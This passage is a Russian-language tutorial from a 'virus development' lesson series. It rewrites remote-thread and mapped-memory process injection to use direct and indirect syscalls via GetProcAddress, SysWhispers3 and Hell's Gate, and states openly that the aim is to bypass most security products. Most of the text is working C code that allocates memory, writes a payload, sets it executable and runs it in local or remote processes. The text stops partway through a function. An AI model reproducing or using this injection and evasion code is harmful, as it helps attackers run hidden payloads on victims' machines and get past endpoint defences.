В прошлой статье:Уроки - Разработка вирусов-28. Предельная техника. Разборка с сисколами мы разобрали теорию.
Давайте теперь переделаем техники:
Уроки - Разработка вирусов-17.Изучаем технику Thread Hijacking
Thread Hijacking (Похищение потока) - это техника, позволяющая выполнять полезную нагрузку без создания нового потока. Этот метод работает путем приостановки потока и обновления регистра адреса команды, указывающего на следующую инструкцию в памяти, чтобы он указывал на начало полезной нагрузки...
ru-sfera.pw
Уроки - Разработка вирусов-21.Инъекция отображаемой памяти
Локальная инъекция отображаемой памяти Введение До сих пор во всех предыдущих реализациях использовался тип локальной памяти для хранения полезной нагрузки во время выполнения. Локальная память выделяется с использованием VirtualAlloc или VirtualAllocEx. На следующем изображении показана...
ru-sfera.pw
Уроки - Разработка вирусов-19.Изучаем технику APC Injection
Предлагаю в этой статье рассмотреть один способ выполнения полезной нагрузки без создания нового потока. Этот метод известен как APC-инъекция. Что такое APC? Асинхронные вызовы процедур (APC) — это механизм операционной системы Windows, который позволяет программам выполнять задачи асинхронно...
ru-sfera.pw
С использованием косвенного вызова сискола, это поможет обойти большинство средств защиты.)
Также это может послужить примером, как делать такие программы и вы можете уже сами реализовывать такие штуки в своих программах.)))
Итак начнем:
1)Переписываем технику Уроки - Разработка вирусов-17.Изучаем технику Thread Hijacking
Введение
Классическая техника инъекции процессов, рассмотренная ранее, будет реализована с использованием прямых системных вызовов, заменяя WinAPI на их эквивалент в системных вызовах.
VirtualAlloc/Ex заменяется на NtAllocateVirtualMemory
VirtualProtect/Ex заменяется на NtProtectVirtualMemory
WriteProcessMemory заменяется на NtWriteVirtualMemory
CreateThread/RemoteThread заменяется на NtCreateThreadEx
Требуемые системные вызовы
В этом разделе будут рассмотрены требуемые системные вызовы и их параметры.
NtAllocateVirtualMemory
Это результат системного вызова из WinAPI-функций VirtualAlloc и VirtualAllocEx.
NtAllocateVirtualMemory показан ниже.
C:
NTSTATUS NtAllocateVirtualMemory(
IN HANDLE ProcessHandle, // Дескриптор процесса, в котором необходимо выделить память
IN OUT PVOID *BaseAddress, // Возвращаемый базовый адрес выделенной памяти
IN ULONG_PTR ZeroBits, // Всегда установите в '0'
IN OUT PSIZE_T RegionSize, // Размер памяти для выделения
IN ULONG AllocationType, // MEM_COMMIT | MEM_RESERVE
IN ULONG Protect // Защита страницы
);
NtAllocateVirtualMemory аналогичен WinAPI функции VirtualAllocEx. Однако он отличается тем, что параметры RegionSize и BaseAddress передаются по ссылке с использованием оператора адреса (&).
ZeroBits - это новый введенный параметр, который определяется как количество старших битов адреса, которые должны быть равны нулю в базовом адресе обзора секции. Этот параметр всегда устанавливается на ноль.
Параметр RegionSize помечен как входной и выходной параметр. Это связано с тем, что значение RegionSize может изменяться в зависимости от того, что было фактически выделено. Microsoft утверждает, что начальное значение RegionSize указывает размер в байтах области, который округляется до следующей границы размера страницы хоста. Это означает, что NtAllocateVirtualMemory округляет до ближайшего кратного размера страницы, который составляет 4096 байт. Например, если RegionSize установлен на 5000 байт, он округлит его до 8192, и RegionSize вернет значение, которое было выделено, то есть 8192 в этом примере.
Как уже упоминалось в предыдущих статьях, все системные вызовы возвращают NTSTATUS. Если выполнение успешно, он устанавливается в STATUS_SUCCESS (0). В противном случае, если системный вызов не удается, возвращается ненулевое значение.
NtProtectVirtualMemory
Это результат системного вызова из WinAPI-функций VirtualProtect и VirtualProtectEx. NtProtectVirtualMemory показан ниже.
C:
NTSTATUS NtProtectVirtualMemory(
IN HANDLE ProcessHandle, // Дескриптор процесса, защита памяти которого должна быть изменена
IN OUT PVOID *BaseAddress, // Указатель на базовый адрес для защиты
IN OUT PULONG NumberOfBytesToProtect, // Указатель на размер области для защиты
IN ULONG NewAccessProtection, // Новая устанавливаемая защита памяти
OUT PULONG OldAccessProtection // Указатель на переменную, которая получает предыдущую защиту доступа
);
Оба параметра BaseAddress и NumberOfBytesToProtect передаются по ссылке с использованием оператора "адрес".
Параметр NumberOfBytesToProtect ведет себя аналогично параметру RegionSize в NtAllocateVirtualMemory, округляя количество байтов до ближайшего кратного размера страницы.
NtWriteVirtualMemory
Это результат системного вызова из WinAPI-функции WriteProcessMemory. NtWriteVirtualMemory показан ниже.
C:
NTSTATUS NtWriteVirtualMemory(
IN HANDLE ProcessHandle, // Дескриптор процесса, память которого должна быть записана
IN PVOID BaseAddress, // Базовый адрес в указанном процессе, в который записываются данные
IN PVOID Buffer, // Данные для записи
IN ULONG NumberOfBytesToWrite, // Количество байтов для записи
OUT PULONG NumberOfBytesWritten // Указатель на переменную, которая получает количество фактически записанных байтов
);
Параметры NtWriteVirtualMemory такие же, как и у его версии WinAPI, WriteProcessMemory.
NtCreateThreadEx
Это результат системного вызова из WinAPI-функций CreateThread, CreateRemoteThread и CreateRemoteThreadEx. NtCreateThreadEx показан ниже.
C:
NTSTATUS NtCreateThreadEx(
OUT PHANDLE ThreadHandle, // Указатель на переменную HANDLE, которая получает дескриптор созданного потока
IN ACCESS_MASK DesiredAccess, // Права доступа к потоку (устанавливаются в THREAD_ALL_ACCESS - 0x1FFFFF)
IN POBJECT_ATTRIBUTES ObjectAttributes, // Указатель на структуру OBJECT_ATTRIBUTES (устанавливается в NULL)
IN HANDLE ProcessHandle, // Дескриптор процесса, в котором должен быть создан поток
IN PVOID StartRoutine, // Базовый адрес определяемой приложением функции, которая будет выполняться
IN PVOID Argument, // Указатель на переменную, которая передается функции потока (устанавливается в NULL)
IN ULONG CreateFlags, // Флаги, которые управляют созданием потока (устанавливаются в NULL)
IN SIZE_T ZeroBits, // Устанавливаются в NULL
IN SIZE_T StackSize, // Устанавливаются в NULL
IN SIZE_T MaximumStackSize, // Устанавливаются в NULL
IN PPS_ATTRIBUTE_LIST AttributeList // Указатель на структуру PS_ATTRIBUTE_LIST (устанавливаются в NULL)
);
NtCreateThreadEx похож на WinAPI функцию CreateRemoteThreadEx. NtCreateThreadEx - это очень гибкий системный вызов и может позволить сложное управление созданными потоками. Однако для наших целей большинство его параметров будут установлены на NULL.
Реализация с использованием GetProcAddress и GetModuleHandle
Вызов системных вызовов будет выполнен с использованием нескольких методов, начиная с обычно используемыми WinAPI-функциями GetProcAddress и GetModuleHandle. Этот метод прост и был использован многократно для динамического вызова системных вызовов. Однако, как уже обсуждалось ранее, этот метод не обходит пользовательские хуки, установленные на системные вызовы.
В предоставленном создается структура Syscall и инициализируется с помощью InitializeSyscallStruct, которая содержит адреса используемых системных вызовов, как показано ниже.
C:
// Структура, которая хранит используемые системные вызовы
typedef struct _Syscall {
fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
fnNtProtectVirtualMemory pNtProtectVirtualMemory;
fnNtWriteVirtualMemory pNtWriteVirtualMemory;
fnNtCreateThreadEx pNtCreateThreadEx;
} Syscall, *PSyscall;
// Функция, используемая для заполнения входной структуры 'St'
BOOL InitializeSyscallStruct (OUT PSyscall St) {
HMODULE hNtdll = GetModuleHandle(L"NTDLL.DLL");
if (!hNtdll) {
printf("[!] GetModuleHandle Failed With Error : %d \n", GetLastError());
return FALSE;
}
St->pNtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
St->pNtProtectVirtualMemory = (fnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
St->pNtWriteVirtualMemory = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
St->pNtCreateThreadEx = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
// проверка, пропустил ли GetProcAddress системный вызов
if (St->pNtAllocateVirtualMemory == NULL || St->pNtProtectVirtualMemory == NULL || St->pNtWriteVirtualMemory == NULL || St->pNtCreateThreadEx == NULL)
return FALSE;
else
return TRUE;
}
Далее функция ClassicInjectionViaSyscalls будет ответственна за выполнение полезной нагрузки, pPayload, в целевом процессе, hProcess. Функция возвращает FALSE, если не удалось выполнить полезную нагрузку, и TRUE, если удалось. Кроме того, функция может использоваться для инъекции как в локальные, так и в удаленные процессы, в зависимости от значения hProcess.
C:
BOOL ClassicInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {
Syscall St = { 0 };
NTSTATUS STATUS = 0x00;
PVOID pAddress = NULL;
ULONG uOldProtection = NULL;
SIZE_T sSize = sPayloadSize,
sNumberOfBytesWritten = NULL;
HANDLE hThread = NULL;
// Инициализация структуры 'St' для получения адресов системных вызовов
if (!InitializeSyscallStruct(&St)){
printf("[!] Could Not Initialize The Syscall Struct \n");
return FALSE;
}
//--------------------------------------------------------------------------
// Выделение памяти
if ((STATUS = St.pNtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);
printf("[#] Press <Enter> To Write The Payload ... ");
getchar();
//--------------------------------------------------------------------------
// Запись полезной нагрузки
printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
if ((STATUS = St.pNtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
return FALSE;
}
printf("[+] DONE \n");
//--------------------------------------------------------------------------
// Изменение разрешений памяти на RWX
if ((STATUS = St.pNtProtectVirtualMemory(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
//--------------------------------------------------------------------------
// Выполнение полезной нагрузки через поток
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
printf("\t[i] Running Thread Of Entry 0x%p ... ", pAddress);
if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] DONE \n");
printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));
return TRUE;
}
Размер полезной нагрузки и округление в большую сторону
Помните, что NtAllocateVirtualMemory округляет значение RegionSize до кратного 4096. Из-за округления размера необходимо быть осторожным при использовании одной и той же переменной размера полезной нагрузки при выделении памяти и записи в память, так как это может привести к записи большего количества байтов, чем предполагалось. Именно поэтому в вышеприведенном коде используются разные переменные размера для NtAllocateVirtualMemory и NtWriteVirtualMemory.
Проблема демонстрируется в приведенном ниже фрагменте кода.
C:
// sPayloadSize - это размер полезной нагрузки (272 байта)
// Выделение памяти
if ((STATUS = St.pNtAllocateVirtualMemory(hProcess, &pAddress, 0, &sPayloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
return FALSE;
}
// значение sPayloadSize теперь равно 4096
// Запись полезной нагрузки с sPayloadSize (NumberOfBytesToWrite) равным 4096 вместо исходного размера
if ((STATUS = St.pNtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0) {
return FALSE;
}
Реализация с использованием SysWhispers3
Реализация здесь использует
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
для обхода пользовательских хуков через косвенные системные вызовы. Следующая команда используется для генерации необходимых файлов для этой реализации.
Код:
python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o SysWhispers -v
Создаются три файла: SysWhispers.h, SysWhispers.c и SysWhispers-asm.x64.asm.
Следующий шаг - импортировать эти файлы в Visual Studio, как указано в Readme SysWhisper.
Шаги демонстрируются ниже.
Шаг 1 Скопируйте сгенерированные файлы в папку проекта, затем добавьте их в проект Visual Studio как существующие элементы.
Шаг 2 Включите MASM в проекте, чтобы разрешить компиляцию сгенерированного кода на ассемблере.
Шаг 3 Измените свойства, чтобы установить файл ASM на компиляцию с использованием Microsoft Macro Assembler.
Шаг 4 Теперь проект Visual Studio может быть скомпилирован. Функция ClassicInjectionViaSyscalls показана ниже.
C:
BOOL ClassicInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {
NTSTATUS STATUS = 0x00;
PVOID pAddress = NULL;
ULONG uOldProtection = NULL;
SIZE_T sSize = sPayloadSize,
sNumberOfBytesWritten = NULL;
HANDLE hThread = NULL;
// Allocating memory
if ((STATUS = NtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);
printf("[#] Press <Enter> To Write The Payload ... ");
getchar();
//--------------------------------------------------------------------------
// Writing the payload
printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
if ((STATUS = NtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
return FALSE;
}
printf("[+] DONE \n");
//--------------------------------------------------------------------------
// Changing the memory's permissions to RWX
if ((STATUS = NtProtectVirtualMemory(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
//--------------------------------------------------------------------------
// Executing the payload via thread
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
printf("\t[i] Running Thread Of Entry 0x%p ... ", pAddress);
if ((STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] DONE \n");
printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));
return TRUE;
}
Реализация с использованием
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Последняя реализация для этого модуля использует Hell's Gate. Сначала убедитесь, что те же шаги, которые были выполнены для настройки проекта Visual Studio с SysWhispers3, выполняются и здесь. В частности, включение MASM и изменение свойств для установки файла ASM на компиляцию с использованием Microsoft Macro Assembler.
Изменение функции полезной нагрузки
Необходимо внести несколько изменений в код Hell's Gate. Сначала функция
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
должна быть заменена функцией ClassicInjectionViaSyscalls.
C:
BOOL ClassicInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN HANDLE hProcess, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
NTSTATUS STATUS = 0x00;
PVOID pAddress = NULL;
ULONG uOldProtection = NULL;
SIZE_T sSize = sPayloadSize,
sNumberOfBytesWritten = NULL;
HANDLE hThread = NULL;
// Allocating memory
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
if ((STATUS = HellDescent(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);
printf("[#] Press <Enter> To Write The Payload ... ");
getchar();
//--------------------------------------------------------------------------
// Writing the payload
printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
HellsGate(pVxTable->NtWriteVirtualMemory.wSystemCall);
if ((STATUS = HellDescent(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
return FALSE;
}
printf("[+] DONE \n");
//--------------------------------------------------------------------------
// Changing the memory's permissions to RWX
HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
if ((STATUS = HellDescent(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
//--------------------------------------------------------------------------
// Executing the payload via thread
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
printf("\t[i] Running Thread Of Entry 0x%p ... ", pAddress);
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] DONE \n");
printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));
return TRUE;
}
Обновление структуры VX_TABLE
Далее необходимо обновить структуру VX_TABLE с именами системных вызовов, используемых в этом модуле, как показано ниже.
C:
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory; // Элемент таблицы для системного вызова
VX_TABLE_ENTRY NtWriteVirtualMemory; // Элемент таблицы для системного вызова
VX_TABLE_ENTRY NtProtectVirtualMemory; // Элемент таблицы для системного вызова
VX_TABLE_ENTRY NtCreateThreadEx; // Элемент таблицы для системного вызова
} VX_TABLE, * PVX_TABLE;
Обновление значения Seed Value
Будет использовано новое значение Seed Value для замены старого, чтобы изменить хэш-значения системных вызовов. Функция хэширования djb2 обновляется новым значением Seed Value ниже.
C:
DWORD64 djb2(PBYTE str) {
DWORD64 dwHash = 0x77347734DEADBEEF; // Старое значение: 0x7734773477347734
INT c;
while (c = *str++)
dwHash = ((dwHash << 0x5) + dwHash) + c;
return dwHash;
}
Теперь необходимо сгенерировать хэш-значений djb2 для функций (Напишите консольную программу например):
Код:
printf("#define %s%s 0x%p \n", "NtAllocateVirtualMemory", "_djb2", (DWORD64)djb2("NtAllocateVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtWriteVirtualMemory", "_djb2", djb2("NtWriteVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtProtectVirtualMemory", "_djb2", djb2("NtProtectVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtCreateThreadEx", "_djb2", djb2("NtCreateThreadEx"));
Как только значения сгенерированы, добавьте их в начало проекта Hell's Gate.
Код:
#define NtAllocateVirtualMemory_djb2 0x7B2D1D431C81F5F6
#define NtWriteVirtualMemory_djb2 0x54AEE238645CCA7C
#define NtProtectVirtualMemory_djb2 0xA0DCC2851566E832
#define NtCreateThreadEx_djb2 0x2786FB7E75145F1A
Обновление главной функции
Главная функция (
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
) должна быть обновлена (На код ниже), чтобы вызывать ClassicInjectionViaSyscalls вместо
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
. Функция будет использовать выше сгенерированные хэши, как показано ниже.
C:
INT main() {
// Getting the PEB structure
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
return 0x1;
// Getting the NTDLL module
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Getting the EAT of Ntdll
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return 0x01;
//--------------------------------------------------------------------------
// Initializing the 'Table' structure
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = NtAllocateVirtualMemory_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;
Table.NtWriteVirtualMemory.dwHash = NtWriteVirtualMemory_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWriteVirtualMemory))
return 0x1;
Table.NtProtectVirtualMemory.dwHash = NtProtectVirtualMemory_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
return 0x1;
Table.NtCreateThreadEx.dwHash = NtCreateThreadEx_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
return 0x1;
//--------------------------------------------------------------------------
// injection code - calling the 'ClassicInjectionViaSyscalls' function
// If local injection
#ifdef LOCAL_INJECTIONif (!ClassicInjectionViaSyscalls(&Table, (HANDLE)-1, Payload, sizeof(Payload)))
return 0x1;
#endif // LOCAL_INJECTION// If remote injection
#ifdef REMOTE_INJECTION// Open a handle to the target process
printf("[i] Targeting process of id : %d \n", PROCESS_ID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PROCESS_ID);
if (hProcess == NULL) {
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
return -1;
}
if (!ClassicInjectionViaSyscalls(&Table, hProcess, Payload, sizeof(Payload)))
return 0x1;
#endif // REMOTE_INJECTIONreturn 0x00;
}
Локальная и удаленная инъекция
Поскольку реализованная функция ClassicInjectionViaSyscalls может работать как на уровне локального процесса, так и на уровне удаленного процесса, был построен макрокод препроцессора для целевого локального процесса, если определено LOCAL_INJECTION.
Код препроцессора показан ниже.
C:
#define LOCAL_INJECTION
#ifndef LOCAL_INJECTION
#define REMOTE_INJECTION
// Устанавливаем идентификатор целевого процесса PID
#define PROCESS_ID 18784
#endif // !LOCAL_INJECTION
#define LOCAL_INJECTION можно закомментировать, чтобы нацелиться на удаленный процесс. В этом случае будет целевым процесс с PID, равным PROCESS_ID.
Если #define LOCAL_INJECTION не закомментирован, что является настройкой по умолчанию в предоставленном коде, то используется псевдо-дескриптор локального процесса, равный (HANDLE)-1.
Демо
Использование реализации SysWhispers локально.
Использование реализации SysWhispers удаленно
Использование реализации Hell's Gate локально.
Использование реализации Hell's Gate удаленно.
Давайте теперь перепишем эту технику: Уроки - Разработка вирусов-21.Инъекция отображаемой памяти
Введение
В этой части техника инъекции маппинга, обсуждаемая ранее, будет реализована с помощью прямых системных вызовов, заменяя WinAPI на их эквивалент системных вызовов:
CreateFileMapping заменяется на NtCreateSection
MapViewOfFile заменяется на NtMapViewOfSection
CloseHandle заменяется на NtClose
UnmapViewOfFile заменяется на NtUnmapViewOfSection
Параметры Syscall
В этом разделе будут рассмотрены системные вызовы, которые будут использоваться, и их параметры будут объяснены.
NtCreateSection
Это результирующий системный вызов из CreateFileMapping WinAPI. NtCreateSection показан ниже.
C:
NTSTATUS NtCreateSection(
OUT PHANDLE SectionHandle, // Указатель на переменную HANDLE, которая получает дескриптор объекта секции
IN ACCESS_MASK DesiredAccess, // Тип прав доступа к дескриптору секции
IN POBJECT_ATTRIBUTES ObjectAttributes, // Указатель на структуру OBJECT_ATTRIBUTES (установить в NULL)
IN PLARGE_INTEGER MaximumSize, // Максимальный размер секции
IN ULONG SectionPageProtection, // Защита, которая будет установлена на каждой странице в секции
IN ULONG AllocationAttributes, // Атрибуты выделения секции (флаги SEC_XXX)
IN HANDLE FileHandle // Опционально указывает дескриптор открытого файла (установить в NULL)
);
Хотя между NtCreateSection и CreateFileMapping есть много схожего, некоторые параметры новые. Во-первых, параметр DesiredAccess описывает тип прав доступа к дескриптору секции. Список параметров показан на изображении ниже.
В этом модуле достаточно использовать либо SECTION_ALL_ACCESS, либо SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE.
Далее, параметр MaximumSize - это указатель на структуру LARGE_INTEGER. Единственный элемент, который нужно заполнить, это элемент LowPart, который будет равен размеру полезной нагрузки. Структура LARGE_INTEGER показана ниже.
C:
typedef union _LARGE_INTEGER {
struct {
DWORD LowPart;
LONG HighPart;
} DUMMYSTRUCTNAME;
struct {
DWORD LowPart;
LONG HighPart;
} u;
LONGLONG QuadPart;
} LARGE_INTEGER;
Наконец, параметр AllocationAttributes определяет битовую маску флагов SEC_XXX, которая определяет атрибуты выделения секции. Список флагов можно найти здесь под параметром flProtect. В этом модуле этот параметр будет установлен в значение SEC_COMMIT.
NtMapViewOfSection
Это результирующий системный вызов из MapViewOfFile WinAPI. NtMapViewOfSection показан ниже.
C:
NTSTATUS NtMapViewOfSection(
IN HANDLE SectionHandle, // HANDLE объекта секции, созданного 'NtCreateSection'
IN HANDLE ProcessHandle, // Дескриптор процесса, которому нужно отобразить вид
IN OUT PVOID *BaseAddress, // Указатель на переменную PVOID, которая получает базовый адрес отображения
IN ULONG ZeroBits, // установить в NULL
IN SIZE_T CommitSize, // установить в NULL
IN OUT PLARGE_INTEGER SectionOffset, // установить в NULL
IN OUT PSIZE_T ViewSize, // Указатель на переменную SIZE_T, которая содержит размер выделяемой памяти
IN SECTION_INHERIT InheritDisposition, // Как вид должен быть разделен с дочерними процессами
IN ULONG AllocationType, // тип выделения, который будет выполнен (установить в NULL)
IN ULONG Protect // Защита, которая будет установлена на каждой странице в секции
);
В этом модуле параметр SectionHandle будет получен из вызова NtCreateSection. Параметр ProcessHandle будет равен текущему дескриптору процесса, который может быть получен с помощью функции GetCurrentProcess.
Параметр BaseAddress получает базовый адрес отображения. Значение этого параметра будет указано позже.
Параметр ViewSize содержит размер выделяемой памяти, который будет равен размеру полезной нагрузки.
Параметр InheritDisposition определяет, как вид должен быть разделен с дочерними процессами. В этом модуле этот параметр будет установлен в значение 'ViewUnmap', что означает, что дочерние процессы не будут иметь доступа к этому виду. Наконец, параметр Protect устанавливает уровень защиты для каждой страницы в секции. В этом модуле этот параметр будет установлен в значение 'PAGE_READWRITE', что означает, что страницы можно будет читать и записывать.
NtUnmapViewOfSection
Это результирующий системный вызов из UnmapViewOfFile WinAPI. NtUnmapViewOfSection показан ниже.
C:
NTSTATUS NtUnmapViewOfSection(
IN HANDLE ProcessHandle, // Дескриптор процесса, которому нужно отменить отображение
IN PVOID BaseAddress // Базовый адрес отображения, который был предоставлен ранее
);
Код:
В этом модуле параметр ProcessHandle будет равен текущему дескриптору процесса, который может быть получен с помощью функции GetCurrentProcess. Параметр BaseAddress будет базовым адресом отображения, который был предоставлен ранее.
NtClose Это результирующий системный вызов из CloseHandle WinAPI. NtClose показан ниже.
C:
NTSTATUS NtClose(
IN HANDLE Handle // Дескриптор, который нужно закрыть
);
В этом модуле параметр Handle будет либо дескриптором секции, полученным из вызова NtCreateSection, либо дескриптором процесса, который может быть получен с помощью функции GetCurrentProcess.
Реализация с использованием GetProcAddress и GetModuleHandle
Следующим шагом является реализация метода инъекции через отображение с использованием ранее показанных системных вызовов. Аналогично предыдущему модулю, метод будет показан тремя способами, начиная с использования GetProcAddress и GetModuleHandle.
Структура Syscall создается и инициализируется с помощью InitializeSyscallStruct, которая содержит адреса используемых системных вызовов, как показано ниже.
Код:
// структура, используемая для хранения системных вызовов
typedef struct _Syscall {
fnNtCreateSection pNtCreateSection;
fnNtMapViewOfSection pNtMapViewOfSection;
fnUnmapViewOfSection pNtUnmapViewOfSection;
fnNtClose pNtClose;
fnNtCreateThreadEx pNtCreateThreadEx;
}Syscall, * PSyscall;
// функция, используемая для заполнения входной структуры 'St'
BOOL InitializeSyscallStruct (OUT PSyscall St) {
HMODULE hNtdll = GetModuleHandle(L"NTDLL.DLL");
if (!hNtdll) {
printf("[!] GetModuleHandle не удалось. Ошибка: %d \n", GetLastError());
return FALSE;
}
St->pNtCreateSection = (fnNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
St->pNtMapViewOfSection = (fnNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
St->pNtUnmapViewOfSection = (fnUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
St->pNtClose = (fnNtClose)GetProcAddress(hNtdll, "NtClose");
St->pNtCreateThreadEx = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
// проверка, пропустил ли GetProcAddress системный вызов
if (St->pNtCreateSection == NULL || St->pNtMapViewOfSection == NULL || St->pNtUnmapViewOfSection == NULL || St->pNtClose == NULL || St->pNtCreateThreadEx == NULL)
return FALSE;
else
return TRUE;
}
Функции LocalMappingInjectionViaSyscalls и RemoteMappingInjectionViaSyscalls отвечают за инъекцию полезной нагрузки (pPayload) в локальный и удаленный процесс (hProcess) соответственно.
Обе функции показаны ниже.
C:
BOOL LocalMappingInjectionViaSyscalls(IN PVOID pPayload, IN SIZE_T sPayloadSize) {
HANDLE hSection = NULL;
HANDLE hThread = NULL;
PVOID pAddress = NULL;
NTSTATUS STATUS = NULL;
SIZE_T sViewSize = NULL;
LARGE_INTEGER MaximumSize = {
.HighPart = 0,
.LowPart = sPayloadSize
};
Syscall St = { 0 };
// Инициализация структуры 'St' для получения адресов системных вызовов
if (!InitializeSyscallStruct(&St)) {
printf("[!] Could Not Initialize The Syscall Struct \n");
return FALSE;
}
//--------------------------------------------------------------------------
// Выделение локального отображения
